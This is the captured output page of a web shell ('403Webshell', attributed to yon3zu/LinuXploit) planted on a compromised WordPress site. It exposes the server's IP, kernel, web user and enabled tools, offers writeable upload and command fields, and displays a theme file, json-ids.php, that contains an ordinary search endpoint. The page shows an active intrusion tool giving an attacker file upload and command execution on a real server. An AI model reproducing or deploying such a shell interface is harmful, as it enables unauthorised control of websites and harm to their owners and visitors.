403Webshell
Server IP : 5.129.245.98  /  Your IP : 216.73.216.246
Web Server : Apache/2.4.66 (Debian)
System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/rehub-theme/jsonids/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/rehub-theme/jsonids/json-ids.php
<?php  
require_once(dirName(__FILE__).'/../../../../wp-load.php'); 

$search_array = array();

if ( empty( $_GET['q'] ) && !empty( $_GET['t'] ) ) {
	$taxonomies = sanitize_text_field($_GET['taxonomy']);

	if( isset( $_GET['hide_empty'] ) ){
		$hide_empty = $_GET['hide_empty'];
	}else{
		$hide_empty = 1;
	}
	
	$args = array(
		'search' => sanitize_text_field($_GET['t']),
		'hide_empty' => $hide_empty,
		'taxonomy'=> $taxonomies,
	);
	
	$terms = get_terms( $args );
	
	if ( !empty( $terms ) ) {
		foreach ( $terms as $term ) {
			$tag_id = $term->term_id;
			$tag_name = $term->name;
			$search_array[] = array( 'id' => $tag_id, 'name' => $tag_name );
		}
	}

} else {
	$post_type = sanitize_text_field($_GET['posttype']);
	$post_type = explode(',', $post_type);

    $args = array(
        's' => sanitize_text_field($_GET['q']),
        'post_type' => $post_type,
        'posts_per_page' => sanitize_text_field($_GET['postnum']),
        'post_status' => 'publish',
		'cache_results' => false,
		'no_found_rows' => true	    
    );

    $search_query = new WP_Query( $args );

    if ( !empty( $search_query->posts ) ) {
        foreach ( $search_query->posts as $post ) {
			$post_id = $post->ID;
			$post_title = $post->post_title;
			$search_array[] = array( 'id' => $post_id, 'name' => $post_title.' - ID:'.$post_id );
        }
		wp_reset_query();
    }
}

die( json_encode( $search_array ) );

Youez - 2016 - github.com/yon3zu
LinuXploit